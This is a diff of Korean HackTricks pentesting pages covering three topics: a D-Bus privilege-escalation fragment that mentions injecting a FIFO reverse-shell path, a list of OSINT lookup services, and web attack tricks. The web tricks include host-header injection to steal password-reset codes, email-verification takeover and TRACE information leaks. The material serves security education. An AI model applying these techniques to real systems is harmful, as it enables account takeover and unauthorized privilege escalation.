* 메시지 버스 - 시스템이 응용 프로그램 간 통신을 쉽게 하기 위해 사용하는 소프트웨어입니다. 메시지 큐와 관련이 있지만 메시지 버스에서는 메시지가 구독 모델로 전송되며 매우 빠릅니다.
|
||||
* "-system" 태그는 시스템 메시지가 아닌 세션 메시지(기본값)임을 나타내기 위해 사용됩니다.
|
||||
* "--print-reply" 태그는 메시지를 적절하게 출력하고 인간이 읽을 수 있는 형식으로 모든 응답을 받기 위해 사용됩니다.
|
||||
* "--dest=Dbus-Interface-Block" - Dbus 인터페이스의 주소입니다.
|
||||
* "--string:" - 인터페이스로 보내려는 메시지의 유형입니다. 더블, 바이트, 부울, 정수, objpath와 같은 여러 형식으로 메시지를 보낼 수 있습니다. 이 중 "object path"는 파일 경로를 Dbus 인터페이스로 보내고자 할 때 유용합니다. 이 경우 특수 파일(FIFO)을 사용하여 파일의 이름으로 인터페이스에 명령을 전달할 수 있습니다. "string:;" - 이는 다시 FIFO 역쉘 파일/명령의 위치를 호출하는 것으로, 여기에 파일의 이름을 넣습니다.
|
||||
|
||||
_참고로 `htb.oouch.Block.Block`에서 첫 번째 부분 (`htb.oouch.Block`)은 서비스 객체를 참조하고 마지막 부분 (`.Block`)은 메서드 이름을 참조합니다._
|
||||
_`htb.oouch.Block.Block`에서 첫 번째 부분(`htb.oouch.Block`)은 서비스 객체를 참조하고 마지막 부분(`.Block`)은 메서드 이름을 참조합니다._
|
||||
|
||||
### C 코드
|
||||
|
||||
|
@ -461,16 +450,17 @@ return r < 0 ? EXIT_FAILURE : EXIT_SUCCESS;
|
|||
## 참고 자료
|
||||
* [https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/](https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/)
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* 회사를 **HackTricks에서 광고**하거나 **PDF로 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 상품**](https://peass.creator-spring.com)을 구매하세요.
|
||||
* 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* 해킹 팁을 공유하려면 **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,84 +1,84 @@
|
|||
{% hint style="success" %}
|
||||
**AWS 해킹 학습 및 실습:**<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
**GCP 해킹 학습 및 실습:** <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 구매하세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 탐색하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop) 확인!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소에 PR을 제출하여 해킹 요령 공유.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# [ProjectHoneypot](https://www.projecthoneypot.org/)
|
||||
|
||||
의심스러운/악성 활동과 관련된 IP를 확인할 수 있습니다. 완전히 무료입니다.
|
||||
의심스러운/악의적 활동과 관련된 IP를 확인할 수 있습니다. 완전히 무료입니다.
|
||||
|
||||
# [**BotScout**](http://botscout.com/api.htm)
|
||||
|
||||
IP 주소가 계정을 등록하는 봇과 관련이 있는지 확인할 수 있습니다. 또한 사용자 이름과 이메일을 확인할 수도 있습니다. 초기에는 무료입니다.
|
||||
IP 주소가 계정을 등록하는 봇과 관련이 있는지 확인할 수 있습니다. 또한 사용자 이름 및 이메일을 확인할 수도 있습니다. 초기 무료입니다.
|
||||
|
||||
# [Hunter](https://hunter.io/)
|
||||
|
||||
이메일을 찾고 확인할 수 있습니다.
|
||||
일부 무료 API 요청이 있으며, 더 많은 기능을 사용하려면 지불해야 합니다.
|
||||
이메일을 찾고 확인할 수 있습니다. 일부 무료 API 요청이 있으며, 더 많은 요청을 하려면 지불해야 합니다.
|
||||
상업적인가요?
|
||||
|
||||
# [AlientVault](https://otx.alienvault.com/api)
|
||||
|
||||
IP와 도메인과 관련된 악성 활동을 찾을 수 있습니다. 무료입니다.
|
||||
IP 및 도메인과 관련된 악의적 활동을 찾을 수 있습니다. 무료입니다.
|
||||
|
||||
# [Clearbit](https://dashboard.clearbit.com/)
|
||||
|
||||
이메일(다른 플랫폼의 프로필), 도메인(기본 회사 정보, 메일 및 작업하는 사람들), 회사(메일로부터 회사 정보 가져오기)와 관련된 개인 데이터를 찾을 수 있습니다.
|
||||
이메일 \(다른 플랫폼의 프로필\), 도메인 \(기본 회사 정보, 메일 및 작업하는 사람들\) 및 회사 \(메일로부터 회사 정보 가져오기\)에 관련된 개인 데이터를 찾을 수 있습니다.
|
||||
모든 기능에 액세스하려면 지불해야 합니다.
|
||||
상업적인가요?
|
||||
|
||||
# [BuiltWith](https://builtwith.com/)
|
||||
|
||||
웹에서 사용되는 기술을 확인할 수 있습니다. 비싸요...
|
||||
웹에서 사용되는 기술을 확인할 수 있습니다. 비용이 많이 듭니다...
|
||||
상업적인가요?
|
||||
|
||||
# [Fraudguard](https://fraudguard.io/)
|
||||
|
||||
호스트(도메인 또는 IP)가 의심스러운/악성 활동과 관련이 있는지 확인할 수 있습니다. 일부 무료 API 액세스가 있습니다.
|
||||
호스트 \(도메인 또는 IP\)가 의심스러운/악의적 활동과 관련이 있는지 확인할 수 있습니다. 일부 무료 API 액세스가 있습니다.
|
||||
상업적인가요?
|
||||
|
||||
# [FortiGuard](https://fortiguard.com/)
|
||||
|
||||
호스트(도메인 또는 IP)가 의심스러운/악성 활동과 관련이 있는지 확인할 수 있습니다. 일부 무료 API 액세스가 있습니다.
|
||||
호스트 \(도메인 또는 IP\)가 의심스러운/악의적 활동과 관련이 있는지 확인할 수 있습니다. 일부 무료 API 액세스가 있습니다.
|
||||
|
||||
# [SpamCop](https://www.spamcop.net/)
|
||||
|
||||
호스트가 스팸 활동과 관련이 있는지 여부를 나타냅니다. 일부 무료 API 액세스가 있습니다.
|
||||
호스트가 스팸 활동과 관련이 있는지 표시합니다. 일부 무료 API 액세스가 있습니다.
|
||||
|
||||
# [mywot](https://www.mywot.com/)
|
||||
|
||||
의견과 기타 지표를 기반으로 도메인이 의심스러운/악성 정보와 관련이 있는지 확인합니다.
|
||||
의견 및 기타 지표를 기반으로 도메인이 의심스러운/악의적 정보와 관련이 있는지 확인합니다.
|
||||
|
||||
# [ipinfo](https://ipinfo.io/)
|
||||
|
||||
IP 주소에서 기본 정보를 얻을 수 있습니다. 월 최대 100,000회 테스트할 수 있습니다.
|
||||
IP 주소에서 기본 정보를 얻을 수 있습니다. 월 최대 100K까지 테스트할 수 있습니다.
|
||||
|
||||
# [securitytrails](https://securitytrails.com/app/account)
|
||||
|
||||
이 플랫폼은 도메인 및 IP 주소에 대한 정보를 제공합니다. IP 내부의 도메인이나 도메인 서버 내부의 도메인, 이메일 소유 도메인(관련 도메인 찾기), 도메인의 IP 기록(CloudFlare 뒤의 호스트 찾기), 특정 네임서버를 사용하는 모든 도메인 등...
|
||||
이 플랫폼은 도메인 및 IP 주소에 대한 정보를 제공하며, IP 뒤에 있는 도메인이나 도메인 서버, 이메일 소유 도메인 \(관련 도메인 찾기\), 도메인의 IP 이력 \(CloudFlare 뒤에 있는 호스트 찾기\), 모든 이름 서버를 사용하는 모든 도메인 등을 찾을 수 있습니다.
|
||||
일부 무료 액세스가 있습니다.
|
||||
|
||||
# [fullcontact](https://www.fullcontact.com/)
|
||||
|
||||
이메일, 도메인 또는 회사 이름으로 검색하고 관련된 "개인" 정보를 검색할 수 있습니다. 또한 이메일을 확인할 수도 있습니다. 일부 무료 액세스가 있습니다.
|
||||
이메일, 도메인 또는 회사 이름으로 검색하고 관련된 "개인" 정보를 검색할 수 있습니다. 또한 이메일을 확인할 수 있습니다. 일부 무료 액세스가 있습니다.
|
||||
|
||||
# [RiskIQ](https://www.spiderfoot.net/documentation/)
|
||||
|
||||
도메인 및 IP에 대한 많은 정보를 무료/커뮤니티 버전에서도 제공합니다.
|
||||
도메인 및 IP에 대한 많은 정보를 무료/커뮤니티 버전에서도 얻을 수 있습니다.
|
||||
|
||||
# [\_IntelligenceX](https://intelx.io/)
|
||||
|
||||
도메인, IP 및 이메일을 검색하고 덤프에서 정보를 가져올 수 있습니다. 일부 무료 액세스가 있습니다.
|
||||
도메인, IP 및 이메일을 검색하고 덤프에서 정보를 얻을 수 있습니다. 일부 무료 액세스가 있습니다.
|
||||
|
||||
# [IBM X-Force Exchange](https://exchange.xforce.ibmcloud.com/)
|
||||
|
||||
|
@ -86,7 +86,7 @@ IP로 검색하고 의심스러운 활동과 관련된 정보를 수집할 수
|
|||
|
||||
# [Greynoise](https://viz.greynoise.io/)
|
||||
|
||||
IP 또는 IP 범위로 검색하고 인터넷을 스캔하는 IP에 대한 정보를 얻을 수 있습니다. 15일 동안 무료 액세스할 수 있습니다.
|
||||
IP 또는 IP 범위로 검색하고 인터넷을 스캔하는 IP에 대한 정보를 얻을 수 있습니다. 15일 무료 액세스가 있습니다.
|
||||
|
||||
# [Shodan](https://www.shodan.io/)
|
||||
|
||||
|
@ -107,7 +107,7 @@ Shodan과 매우 유사합니다.
|
|||
|
||||
# [psbdmp](https://psbdmp.ws/)
|
||||
|
||||
이메일이 나타난 곳의 pastebin을 검색할 수 있습니다.
|
||||
이메일이 나타난 곳을 검색할 수 있는 pastebin을 찾을 수 있습니다.
|
||||
상업적인가요?
|
||||
|
||||
# [emailrep.io](https://emailrep.io/key)
|
||||
|
@ -126,27 +126,11 @@ IP에서 흥미로운 정보를 얻을 수 있습니다.
|
|||
|
||||
# [haveibeenpwned](https://haveibeenpwned.com/)
|
||||
|
||||
도메인 및 이메일로 검색하여 유출되었는지와 비밀번호를 확인할 수 있습니다.
|
||||
도메인 및 이메일로 검색하여 유출되었는지 및 비밀번호를 확인할 수 있습니다.
|
||||
상업적인가요?
|
||||
|
||||
[https://dnsdumpster.com/](https://dnsdumpster.com/)\(상업용 도구인가요?\)
|
||||
[https://dnsdumpster.com/](https://dnsdumpster.com/)\(상업 도구인가요?\)
|
||||
|
||||
[https://www.netcraft.com/](https://www.netcraft.com/) \(상업용 도구인가요?\)
|
||||
[https://www.netcraft.com/](https://www.netcraft.com/) \(상업 도구인가요?\)
|
||||
|
||||
[https://www.nmmapper.com/sys/tools/subdomainfinder/](https://www.nmmapper.com/) \(상업용 도구인가요?\)
|
||||
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 구매하세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 탐색하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
|
||||
|
||||
</details
|
||||
[https://www.nmmapper.com/sys/tools/subdomainfinder/](https://www.nmmapper.com/) \(상업 도구인가요?\)
|
||||
|
|
|
@ -1,61 +1,63 @@
|
|||
# 기타 웹 트릭
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 레포지토리로 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### 호스트 헤더
|
||||
|
||||
백엔드에서는 종종 **호스트 헤더**를 신뢰하여 일부 작업을 수행합니다. 예를 들어, **비밀번호 재설정을 보내기 위한 도메인으로 그 값을 사용**할 수 있습니다. 따라서 비밀번호 재설정 링크가 포함된 이메일을 받을 때 사용되는 도메인은 호스트 헤더에 입력한 도메인입니다. 그럼으로써, 다른 사용자의 비밀번호 재설정을 요청하고 도메인을 자신이 제어하는 도메인으로 변경하여 비밀번호 재설정 코드를 도용할 수 있습니다. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
|
||||
백엔드가 종종 **호스트 헤더**를 신뢰하여 일부 작업을 수행합니다. 예를 들어, 이 값은 **비밀번호 재설정을 보내기 위한 도메인으로 사용**될 수 있습니다. 따라서 비밀번호 재설정 링크가 포함된 이메일을 받으면 사용되는 도메인은 호스트 헤더에 입력한 것입니다. 그런 다음, 다른 사용자의 비밀번호 재설정을 요청하고 도메인을 자신이 제어하는 도메인으로 변경하여 그들의 비밀번호 재설정 코드를 훔칠 수 있습니다. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
|
||||
|
||||
{% hint style="warning" %}
|
||||
사용자가 재설정 비밀번호 링크를 클릭하기를 기다릴 필요 없이, **스팸 필터나 다른 중간 장치/봇이 분석하기 위해 클릭**할 수도 있다는 점에 유의하세요.
|
||||
사용자가 재설정 비밀번호 링크를 클릭하기를 기다릴 필요가 없을 수도 있습니다. 왜냐하면 **스팸 필터나 다른 중개 장치/봇이 분석하기 위해 클릭**할 수도 있기 때문입니다.
|
||||
{% endhint %}
|
||||
|
||||
### 세션 부울 값
|
||||
### 세션 부울
|
||||
|
||||
일부 경우에는 백엔드에서 일부 확인을 올바르게 완료하면 세션에 **"True" 값으로 부울을 추가**할 수 있습니다. 그런 다음, 다른 엔드포인트는 그 확인을 성공적으로 통과했는지 알 수 있습니다.\
|
||||
그러나, 확인을 통과하고 세션에 보안 속성에 "True" 값을 부여받은 경우, **접근 권한이 없는** 동일한 속성에 **의존하는 다른 리소스에 액세스**를 시도할 수 있습니다. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a).
|
||||
가끔 백엔드가 일부 확인을 완료하면 **세션에 "True" 값의 부울을 추가**할 수 있습니다. 그런 다음 다른 엔드포인트는 해당 확인을 성공적으로 통과했는지 알 수 있습니다.\
|
||||
그러나 **확인을 통과**하고 세션이 해당 보안 속성에 "True" 값을 부여받으면 **액세스할 수 없어야 하는** 동일한 속성에 **의존하는 다른 리소스에 액세스**를 시도할 수 있습니다. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a).
|
||||
|
||||
### 등록 기능
|
||||
|
||||
이미 존재하는 사용자로 등록해 보세요. 또한 등가 문자(점, 공백 및 유니코드)를 사용해 보세요.
|
||||
이미 존재하는 사용자로 등록해 보세요. 또한 등가 문자(점, 많은 공백 및 유니코드)를 사용해 보세요.
|
||||
|
||||
### 이메일 탈취
|
||||
|
||||
이메일을 등록한 후 확인하기 전에 이메일을 변경한 다음, 새로운 확인 이메일이 처음 등록한 이메일로 전송되면 어떤 이메일이든 탈취할 수 있습니다. 또는 두 번째 이메일을 활성화하여 첫 번째 이메일을 확인할 수 있다면 어떤 계정이든 탈취할 수도 있습니다.
|
||||
이메일을 등록한 후 확인하기 전에 이메일을 변경한 다음, 새 확인 이메일이 처음 등록한 이메일로 전송되면 어떤 이메일이든 탈취할 수 있습니다. 또는 두 번째 이메일을 활성화하여 첫 번째 이메일을 확인할 수 있다면 어떤 계정이든 탈취할 수도 있습니다.
|
||||
|
||||
### Atlassian을 사용하여 기업의 내부 서비스 데스크에 액세스
|
||||
### Atlassian을 사용하는 기업의 내부 서비스데스크 액세스
|
||||
|
||||
{% embed url="https://yourcompanyname.atlassian.net/servicedesk/customer/user/login" %}
|
||||
|
||||
### TRACE 메서드
|
||||
### TRACE 메소드
|
||||
|
||||
개발자들은 종종 프로덕션 환경에서 다양한 디버깅 옵션을 비활성화하는 것을 잊을 수 있습니다. 예를 들어, HTTP `TRACE` 메서드는 진단 목적으로 설계되었습니다. 활성화되면 웹 서버는 `TRACE` 메서드를 사용하는 요청에 대해 정확한 요청을 응답으로 되돌려줍니다. 이 동작은 종종 무해하지만, 때로는 내부 인증 헤더의 이름과 같은 정보 노출로 이어질 수 있습니다. 이러한 헤더는 리버스 프록시에 의해 요청에 추가될 수 있습니다.![Image for post](https://miro.medium.com/max/60/1\*wDFRADTOd9Tj63xucenvAA.png?q=20)
|
||||
개발자들은 프로덕션 환경에서 다양한 디버깅 옵션을 비활성화하는 것을 잊을 수 있습니다. 예를 들어, HTTP `TRACE` 메소드는 진단 목적으로 설계되었습니다. 활성화된 경우, 웹 서버는 `TRACE` 메소드를 사용하는 요청에 대해 정확히 받은 요청을 응답으로 다시 에코합니다. 이 동작은 종종 무해하지만 때로는 역방향 프록시에 의해 요청에 추가될 수 있는 내부 인증 헤더의 이름과 같은 정보 노출로 이어질 수 있습니다.![Image for post](https://miro.medium.com/max/60/1\*wDFRADTOd9Tj63xucenvAA.png?q=20)
|
||||
|
||||
![Image for post](https://miro.medium.com/max/1330/1\*wDFRADTOd9Tj63xucenvAA.png)
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 레포지토리로 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,35 +1,21 @@
|
|||
{% hint style="success" %}
|
||||
**AWS 해킹 학습 및 실습:**<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
**GCP 해킹 학습 및 실습:** <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family)인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
**DNS에 대한 공격에 대해 더 알아보세요**
|
||||
**DNS 공격에 대해 더 많이 연구해보세요**
|
||||
|
||||
**DNSSEC 및 DNSSEC3**
|
||||
|
||||
**IPv6에서의 DNS**
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family)인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,11 +6,11 @@
|
|||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고**하거나 **PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
|
||||
* **회사가 HackTricks에 광고**되길 원하거나 **PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
